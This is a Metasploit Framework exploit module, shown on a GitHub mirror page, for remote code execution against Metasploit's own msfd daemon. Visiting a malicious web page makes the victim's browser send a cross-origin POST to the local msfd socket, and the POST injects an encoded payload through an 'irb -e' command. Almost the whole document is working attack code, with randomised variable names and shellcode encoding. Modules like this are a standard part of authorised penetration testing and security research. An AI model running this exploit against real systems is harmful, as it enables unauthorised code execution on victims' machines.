/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/multi/browser/msfd_rce_browser.rb
84 строки
3 KB
cgranleese-r7
Update info -d markdown
24 июн 2025, 13:21
24 июн 2025, 13:21
a454217
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Metasploit msfd Remote Code Execution via Browser', 'Description' => %q{ Metasploit's msfd-service makes it possible to get a msfconsole-like interface over a TCP socket. This module connects to the msfd-socket through the victim's browser. To execute msfconsole-commands in JavaScript from a web application, this module places the payload in the POST-data. These POST-requests can be sent cross-domain and can therefore be sent to localhost on the victim's machine. The msfconsole-command to execute code is 'rbi -e "CODE"'. Exploitation when the browser is running on Windows is unreliable and the exploit is only usable when IE is used and the quiet-flag has been passed to msf-daemon. }, 'License' => BSD_LICENSE, 'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>', 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Targets' => [ [ 'Automatic', {}], ], 'Payload' => { 'Space' => 8192, # Arbitrary limit 'DisableNops' => true, 'BadChars' => "\x22\x0a" }, 'DisclosureDate' => '2018-04-11', # Vendor notification 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options([ OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']), OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554']) ]) end def exploit super end def on_request_uri(cli, request) msg = "#{cli.peerhost.ljust(16)} #{self.shortname}" sc = payload.encoded shellcode = "\\x" + sc.unpack('U' * sc.length).collect { |x| x.to_s 16 }.join("\\x") var1 = rand_text_alpha(rand(6..11)) var2 = rand_text_alpha(rand(6..11)) html = <<~EOS <html> <head></head> <body> <script> var #{var1} = new XMLHttpRequest(); #{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true); var #{var2} = String("#{shellcode}"); #{var1}.send("irb -e \\"" + #{var2} + "\\"\\n"); </script> </body> </html> EOS print_status("#{msg} Sending HTML...") send_response(cli, html, { 'Content-Type' => 'text/html' }) end end